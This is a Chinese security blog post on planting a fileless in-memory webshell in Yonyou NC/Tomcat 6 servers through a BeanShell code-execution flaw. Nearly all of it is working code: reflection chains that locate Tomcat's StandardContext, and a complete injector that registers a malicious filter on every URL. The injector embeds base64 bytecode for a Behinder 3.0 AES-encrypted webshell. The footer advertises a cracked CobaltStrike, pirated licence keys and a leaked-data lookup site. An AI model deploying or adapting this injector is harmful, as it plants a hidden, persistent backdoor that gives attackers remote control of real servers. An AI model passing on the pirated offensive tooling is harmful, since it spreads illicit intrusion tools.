查看原文
其他

BeanShell注入内存马

fuzz7j 刨洞安全团队 2024-02-21

项目遇到 用友NC 只存在 BeanShell 远程代码执行漏洞,写入 jsp 访问 404,尝试通过 BeanShell 注入内存马,本篇文章主要记录过程中遇到的一些问题。

request对象

通过 java-object-searcher 获取 request 对象后,发现 Tomcat6 无法通过 request 对象获取 StandardContext,仅能获取 Header

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.tomcat.util.buf.ByteChunk;
import java.lang.reflect.Field;
import java.util.ArrayList;

try {
    Object obj = Thread.currentThread();
    Field field = obj.getClass().getSuperclass().getDeclaredField("group");
    field.setAccessible(true);
    obj = field.get(obj);

    field = obj.getClass().getDeclaredField("threads");
    field.setAccessible(true);
    obj = field.get(obj);

    Thread[] threads = (Thread[]) obj;
    for (Thread thread : threads) {
        if (thread.getName().contains("http") && thread.getName().contains("Acceptor")) {
            try {
                field = thread.getClass().getDeclaredField("target");
                field.setAccessible(true);
                obj = field.get(thread);


                field = obj.getClass().getDeclaredField("this$0");
                field.setAccessible(true);
                obj = field.get(obj);

                field = obj.getClass().getDeclaredField("handler");
                field.setAccessible(true);
                obj = field.get(obj);

                field = obj.getClass().getSuperclass().getDeclaredField("global");
                field.setAccessible(true);
                obj = field.get(obj);

                field = obj.getClass().getDeclaredField("processors");
                field.setAccessible(true);
                obj = field.get(obj);

                java.util.ArrayList processors = (java.util.ArrayList) obj;
                for (Object o : processors) {
                    try {
                        field = o.getClass().getDeclaredField("req");
                        field.setAccessible(true);
                        obj = field.get(o);
                    
                        org.apache.coyote.Request request = (org.apache.coyote.Request) obj;
                    
                        org.apache.coyote.Response resp = request.getResponse();
                        
                    }catch (Exception e){
                        e.printStackTrace();
                    }
                }
                    } catch (Exception e) {
                e.printStackTrace();
                    }
        }
    }

}catch (Exception e){
    e.printStackTrace();
}

StandardContext

查阅发现 bitterz 师傅的文章提供了 Tomcat 全版本获取 StandardContext 的思路。

tomcat678 currentThread -> threadGroup -> for(threads) ->target
    ->this$0->handler->proto->adapter->connector->service->container
        ->children(一个HashMap,get获取standardHost)->standardHost->children(一个HashMap,get获取standardContext)

测试发现文中代码从 HashMap 中获取 standardHost 时,key 键为 localhost,通过 serverName 获取会导致远程访问时出现空指针,bitterz 师傅也曾在评论区留言提供解决思路。

通过以下修改将通过 serverName 获取修改为遍历 StandardHost

Iterator iterator2 = children.keySet().iterator();
while (iterator2.hasNext()) {
    StandardHost standardHost = (StandardHost) children.get(iterator2.next());

    field = standardHost.getClass().getSuperclass().getDeclaredField("children");
    field.setAccessible(true);
    children = (HashMap) field.get(standardHost);
                                    
    Iterator iterator3 = children.keySet().iterator();

    while (iterator3.hasNext()){
        String contextKey = (String) iterator3.next();
        if (!(uri.startsWith(contextKey))){continue;}
        StandardContext standardContext = (StandardContext) children.get(contextKey);

    }
}

获取 StandardContext 后尝试注入 Filter,在通过 defineClass 加载字节码时,发现由于 用友NC 自带 jdk为1.7.0_51,没有 java.util.Base64 类,需要使用 sun.misc.BASE64Decoder 进行 Base64 解码。

ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
String clzBytecodeBase64Str = "";
byte[] bytecode = null;
try {
    Class base64 = clzLoader.loadClass("sun.misc.BASE64Decoder");
    Object decoder = base64.newInstance();
    bytecode = (byte[]) decoder.getClass().getMethod("decodeBuffer"new Class[]{String.class}).invoke(decoder, clzBytecodeBase64Str);
catch (Exception e) {

}

此时发现代码不能执行,一直抛出异常。调试发现 BeanShell 对于反射通过 bsh.Reflect 进行处理,可变参数必须按照参数类型传参,修改为如下代码。

ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
String clzBytecodeBase64Str = "";
byte[] bytecode = null;
try {
    Class base64 = clzLoader.loadClass("sun.misc.BASE64Decoder");
    Object decoder = base64.newInstance();
    bytecode = (byte[]) decoder.getClass().getMethod("decodeBuffer"new Class[]{String.class}).invoke(decoder, new Object[]{clzBytecodeBase64Str});
catch (Exception e) {

}

注入filter

注入 filter 流程:通过 defineClass 加载恶意 filter 类后,使用 filterDef 封装 filter 对象,调用 StandardContext 的 addFilterDef 存到 FilterDefs,创建 filterMap 对象后调用 StandardContext 的 addFilterMap 存到 FilterMaps,使用 ApplicationFilterConfig 封装 filterDef 存到 filterConfigs

java.lang.reflect.Method defineClzMethod = clzLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass"new Class[]{String.class, byte[].class, int.class, int.class});
defineClzMethod.setAccessible(true);

Class filterClass = (Class) defineClzMethod.invoke((Object) clzLoader, new Object[]{null, bytecode, 0, bytecode.length});
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").getConstructor(new Class[]{}).newInstance(new Object[]{});
java.lang.reflect.Method setFilterName = filterDef.getClass().getDeclaredMethod("setFilterName"new Class[]{String.class});
setFilterName.invoke(filterDef, new Object[]{"TestFilter"});
java.lang.reflect.Method setFilterClass = filterDef.getClass().getDeclaredMethod("setFilterClass"new Class[]{String.class});
setFilterClass.invoke(filterDef, new Object[]{filterClass.getName()});
java.lang.reflect.Method addFilterDef = standardContext.getClass().getDeclaredMethod("addFilterDef"new Class[]{org.apache.catalina.deploy.FilterDef.class});
addFilterDef.invoke(standardContext, new Object[]{filterDef});


Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").getConstructor(new Class[]{}).newInstance(new Object[]{});
java.lang.reflect.Method setFilterName2 = filterMap.getClass().getDeclaredMethod("setFilterName"new Class[]{String.class});
setFilterName2.invoke(filterMap, new Object[]{"TestFilter"});
java.lang.reflect.Method setDispatcher = filterMap.getClass().getDeclaredMethod("setDispatcher"new Class[]{String.class});
java.lang.reflect.Method addURLPattern = filterMap.getClass().getDeclaredMethod("addURLPattern"new Class[]{String.class});
setDispatcher.invoke(filterMap, new Object[]{"REQUEST"});
addURLPattern.invoke(filterMap, new Object[]{"/*"});
java.lang.reflect.Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap"new Class[]{org.apache.catalina.deploy.FilterMap.class});
addFilterMap.invoke(standardContext, new Object[]{filterMap});


java.lang.reflect.Constructor filterConfigConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(new Class[]{Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef")});
filterConfigConstructor.setAccessible(true);
Object filterConfig = filterConfigConstructor.newInstance(new Object[]{standardContext, filterDef});
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigsMap = (HashMap) filterConfigsField.get(standardContext);
filterConfigsMap.put("TestFilter", filterConfig);

完整代码

冰蝎3.0 rebeyond

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;

try {
    Object object;
    String serverName;
    Object obj = Thread.currentThread();
    Field field = obj.getClass().getSuperclass().getDeclaredField("group");
    field.setAccessible(true);
    obj = field.get(obj);

    field = obj.getClass().getDeclaredField("threads");
    field.setAccessible(true);
    obj = field.get(obj);

    Thread[] threads = (Thread[]) obj;
    for (Thread thread : threads) {
        if (thread.getName().contains("exec") || thread == null) {
            continue;
        }

        try {
            field = thread.getClass().getDeclaredField("target");
            field.setAccessible(true);
            Object target = field.get(thread);

            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                field = target.getClass().getDeclaredField("this$0");
                field.setAccessible(true);
                Object point = field.get(target);

                field = point.getClass().getDeclaredField("handler");
                field.setAccessible(true);
                Object handler = field.get(point);

                field = handler.getClass().getSuperclass().getDeclaredField("global");
                field.setAccessible(true);
                object = field.get(handler);
            } catch (Exception e) {
                continue;
            }

            if (object == null) {
                continue;
            }

            field = object.getClass().getDeclaredField("processors");
            field.setAccessible(true);
            Object obj2 = field.get(object);
            java.util.ArrayList processors = (java.util.ArrayList) obj2;
            Iterator iterator = processors.iterator();

            while (iterator.hasNext()) {
                Object next = iterator.next();
                field = next.getClass().getDeclaredField("req");
                field.setAccessible(true);
                Object req = field.get(next);

                field = req.getClass().getDeclaredField("serverPort");
                field.setAccessible(true);
                Object serverPort = field.get(req);

                if (serverPort.equals(-1)) {
                    continue;
                }

                field = req.getClass().getDeclaredField("serverNameMB");
                field.setAccessible(true);
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) field.get(req);


                field = serverNameMB.getClass().getDeclaredField("strValue");
                field.setAccessible(true);

                serverName = (String) field.get(serverNameMB);
                if (serverName == null) {
                    serverName = serverNameMB.toString();
                }
                if (serverName == null) {
                    serverName = serverNameMB.getString();
                }

                field = req.getClass().getDeclaredField("decodedUriMB");
                field.setAccessible(true);
                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) field.get(req);

                field = uriMB.getClass().getDeclaredField("strValue");
                field.setAccessible(true);
                String uri = (String) field.get(uriMB);
                if (uri == null) {
                    uri = uriMB.toString();
                }
                if (uri == null) {
                    uri = uriMB.getString();
                }


                Thread[] threads2 = (Thread[]) obj;
                for (Thread thread2 : threads2) {
                    if (thread2.getName().contains("http") && thread2.getName().contains("Acceptor")) {
                        try {
                            field = thread2.getClass().getDeclaredField("target");
                            field.setAccessible(true);
                            obj = field.get(thread2);

                                try {
                                    field = obj.getClass().getDeclaredField("this$0");
                                    field.setAccessible(true);
                                    Object point = field.get(obj);
                                    if (point == null) {
                                        try {
                                            field = obj.getClass().getDeclaredField("endpoint");
                                            field.setAccessible(true);
                                            obj = field.get(obj);
                                            point = obj;
                                        } catch (Exception e) {

                                        }
                                    }

                                    field = point.getClass().getDeclaredField("handler");
                                    field.setAccessible(true);
                                    Object handler = field.get(point);

                                    field = handler.getClass().getDeclaredField("proto");
                                    field.setAccessible(true);
                                    Object proto = field.get(handler);


                                    Field f = proto.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adapter");
                                    f.setAccessible(true);
                                    Object adapter = f.get(proto);

                                    field = adapter.getClass().getDeclaredField("connector");
                                    field.setAccessible(true);
                                    Object connector = field.get(adapter);

                                    field = connector.getClass().getDeclaredField("service");
                                    field.setAccessible(true);
                                    Object service = field.get(connector);

                                    StandardEngine engine = null;
                                    try {
                                        field = service.getClass().getDeclaredField("container");
                                        field.setAccessible(true);
                                        engine = (StandardEngine) field.get(service);
                                    } catch (Exception e) {
                                    }

                                    if (engine == null) {
                                        field = service.getClass().getDeclaredField("engine");
                                        field.setAccessible(true);
                                        engine = (StandardEngine) field.get(service);
                                    }

                                    field = engine.getClass().getSuperclass().getDeclaredField("children");
                                    field.setAccessible(true);
                                    HashMap children = (HashMap) field.get(engine);

                                    Iterator iterator2 = children.keySet().iterator();
                                    while (iterator2.hasNext()) {
                                        StandardHost standardHost = (StandardHost) children.get(iterator2.next());

                                        field = standardHost.getClass().getSuperclass().getDeclaredField("children");
                                        field.setAccessible(true);
                                        children = (HashMap) field.get(standardHost);

                                        Iterator iterator3 = children.keySet().iterator();

                                        while (iterator3.hasNext()) {
                                            String contextKey = (String) iterator3.next();
                                            if (!(uri.startsWith(contextKey))) {
                                                continue;
                                            }
                                            StandardContext standardContext = (StandardContext) children.get(contextKey);
                                            standardContext = standardContext;

                                            ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
                                            String clzBytecodeBase64Str = "yv66vgAAADMAugoAJABYCABZCQArAFoHAFsKAAQAWAcAXAsABgBdCABeCgAEAF8IAGAIADsIAGELAGIAYwgAZAoAZQBmBwBnCgBoAGkKABAAagoAZQBrCABsCgAXAG0IAG4HAG8HAEIJAHAAcQoAFwByCgBzAHQHAHUKABwAWAsAdgB3CgB4AHkKABwAegoAZQB7CgAkAHwKABcAfQcAfgoAcAB/CgBzAIAKABcAgQoAJACCBwCDCwCEAIUHAIYHAIcBAAFrAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MVGVzdEZpbHRlcjI7AQAHZGVzdHJveQEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAC3BhZ2VDb250ZXh0AQATTGphdmEvdXRpbC9IYXNoTWFwOwEAB3Nlc3Npb24BACBMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADmV2aWxjbGFzc19ieXRlAQACW0IBAAlldmlsY2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANyZXEBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAARyZXNwAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEABWNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAgwEACkV4Y2VwdGlvbnMHAIgHAIkBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEABmNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAApTb3VyY2VGaWxlAQAQVGVzdEZpbHRlcjIuamF2YQwALwAwAQAQZTQ1ZTMyOWZlYjVkOTI1YgwALQAuAQARamF2YS91dGlsL0hhc2hNYXABACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DACKAIsBAAdyZXF1ZXN0DACMAI0BAAhyZXNwb25zZQEAAXUHAI4MAI8AkAEAA0FFUwcAkQwAkgCTAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwcAlAwAlQCWDAAvAJcMAFIAmAEAFWphdmEubGFuZy5DbGFzc0xvYWRlcgwAmQCaAQALZGVmaW5lQ2xhc3MBAA9qYXZhL2xhbmcvQ2xhc3MHAJsMAJwARAwAnQCeBwCfDACgAKEBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyBwCiDACjAKQHAKUMAKYApwwAqACpDACqAKsMAKwArQwArgCvAQAQamF2YS9sYW5nL09iamVjdAwAsACxDACyALMMALQAtQwAtgC3AQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAuAwANwC5AQALVGVzdEZpbHRlcjIBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAIcHV0VmFsdWUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAEGphdmEvbGFuZy9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhACsAJAABACwAAQAAAC0ALgAAAAQAAQAvADAAAQAxAAAAPQACAAEAAAALKrcAASoSArUAA7EAAAACADIAAAAOAAMAAAANAAQACwAKAA8AMwAAAAwAAQAAAAsANAA1AAAAAQA2ADAAAQAxAAAAKwAAAAEAAAABsQAAAAIAMgAAAAYAAQAAABIAMwAAAAwAAQAAAAEANAA1AAAAAQA3ADgAAgAxAAAB0gAGAAsAAADfuwAEWbcABToEK8AABrkABwEAOgUZBBIIK7YACVcZBBIKLLYACVcZBBILGQW2AAlXEgI6BhkFEgwZBrkADQMAEg64AA86BxkHBbsAEFkZBrYAERIOtwAStgATEhS4ABUSFga9ABdZAxMAGFNZBLIAGVNZBbIAGVO2ABo6CBkIBLYAGxkHuwAcWbcAHSu5AB4BALYAH7YAILYAIToJGQgqtgAitgAjBr0AJFkDGQlTWQQDuAAlU1kFGQm+uAAlU7YAJsAAFzoKGQq2ACcZBLYAKFenAAU6BC0rLLkAKgMAsQABAAAA0QDUACkAAwAyAAAASgASAAAAFwAJABgAFAAaAB0AGwAmABwAMAAdADQAHgA/AB8ARgAgAFoAIQB8ACIAggAjAJwAJADGACUA0QAoANQAJwDWACkA3gAqADMAAAB6AAwACQDIADkAOgAEABQAvQA7ADwABQA0AJ0ALQAuAAYARgCLAD0APgAHAHwAVQA/AEAACACcADUAQQBCAAkAxgALAEMARAAKANYAAABFAEYABAAAAN8ANAA1AAAAAADfAEcASAABAAAA3wBJAEoAAgAAAN8ASwBMAAMATQAAAAkAAvcA1AcATgEATwAAAAYAAgBQAFEAAQBSAFMAAgAxAAAANQAAAAIAAAABsQAAAAIAMgAAAAYAAQAAAC4AMwAAABYAAgAAAAEANAA1AAAAAAABAFQAVQABAE8AAAAEAAEAUAABAFYAAAACAFc=";
                                            byte[] bytecode = null;
                                            try {
                                                Class base64Clz = clzLoader.loadClass("sun.misc.BASE64Decoder");
                                                Object decoder = base64Clz.newInstance();
                                                bytecode = (byte[]) decoder.getClass().getMethod("decodeBuffer"new Class[]{String.class}).invoke(decoder, new Object[]{clzBytecodeBase64Str});
                                                String result = new String(bytecode);
                                            } catch (Exception e) {

                                            }

                                            java.lang.reflect.Method defineClzMethod = clzLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass"new Class[]{String.class, byte[].class, int.class, int.class});
                                            defineClzMethod.setAccessible(true);

                                            Class filterClass = (Class) defineClzMethod.invoke((Object) clzLoader, new Object[]{null, bytecode, 0, bytecode.length});
                                            Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").getConstructor(new Class[]{}).newInstance(new Object[]{});
                                            java.lang.reflect.Method setFilterName = filterDef.getClass().getDeclaredMethod("setFilterName"new Class[]{String.class});
                                            setFilterName.invoke(filterDef, new Object[]{"TestFilter"});
                                            java.lang.reflect.Method setFilterClass = filterDef.getClass().getDeclaredMethod("setFilterClass"new Class[]{String.class});
                                            setFilterClass.invoke(filterDef, new Object[]{filterClass.getName()});
                                            java.lang.reflect.Method addFilterDef = standardContext.getClass().getDeclaredMethod("addFilterDef"new Class[]{org.apache.catalina.deploy.FilterDef.class});
                                            addFilterDef.invoke(standardContext, new Object[]{filterDef});


                                            Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").getConstructor(new Class[]{}).newInstance(new Object[]{});
                                            java.lang.reflect.Method setFilterName2 = filterMap.getClass().getDeclaredMethod("setFilterName"new Class[]{String.class});
                                            setFilterName2.invoke(filterMap, new Object[]{"TestFilter"});
                                            java.lang.reflect.Method setDispatcher = filterMap.getClass().getDeclaredMethod("setDispatcher"new Class[]{String.class});
                                            java.lang.reflect.Method addURLPattern = filterMap.getClass().getDeclaredMethod("addURLPattern"new Class[]{String.class});
                                            setDispatcher.invoke(filterMap, new Object[]{"REQUEST"});
                                            addURLPattern.invoke(filterMap, new Object[]{"/*"});
                                            java.lang.reflect.Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap"new Class[]{org.apache.catalina.deploy.FilterMap.class});
                                            addFilterMap.invoke(standardContext, new Object[]{filterMap});

                                            java.lang.reflect.Constructor filterConfigConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(new Class[]{Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef")});
                                            filterConfigConstructor.setAccessible(true);
                                            Object filterConfig = filterConfigConstructor.newInstance(new Object[]{standardContext, filterDef});
                                            Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
                                            filterConfigsField.setAccessible(true);
                                            HashMap filterConfigsMap = (HashMap) filterConfigsField.get(standardContext);
                                            filterConfigsMap.put("TestFilter", filterConfig);
                                        }
                                    }
                            } catch (Exception e) {}
                        } catch (Exception e) {}
                    }
                }
            }
        } catch (Exception e) {continue;}
    }
catch (Exception e) {}


本文作者:fuzz7j原文地址:https://fuzz7j.github.io/articles/BeanShell/
参考链接:https://xz.aliyun.com/t/9914https://github.com/c0ny1/java-object-searcher


关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境,0006 获取 CobaltStrike 4.9.1破解版


加我微信好友,邀请你进交流群





往期推荐



记一次CMS系统通杀0day审计

银狐处置及分析

浅谈安全方向的学习方法

记一次校内的XX系统渗透

linux在没有curl和wget的情况下如何用shell实现下载功能

极端容器场景下的远程文件下载思路

实战下的内网中继攻击问题

对某菠菜的渗透测试笔记

绕过AV进行UserAdd的方法总结及实现

某次近源攻击到内网漫游拿下域控以及Vcenter

APT29利用CVE-2023-38831攻击大使馆

某次以目的为导向的内网渗透-取开发源码

微信PC客户端存在@全体逻辑错误

《永结无间》客户端RCE漏洞

发现新恶意团伙"紫狐"!针对finalshell的供应链事件

NSA组织"二次约会"间谍软件功能复现及加解密分析

APK逆向分析入门-以某斗地主APP为例

记一次红队经历

Juniper 新洞 CVE-2023-36845 浅析

记一次渗透中因为JS拿下整个云

日常记录对某站点的实战渗透

备用号,欢迎关注


继续滑动看下一个

BeanShell注入内存马

向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存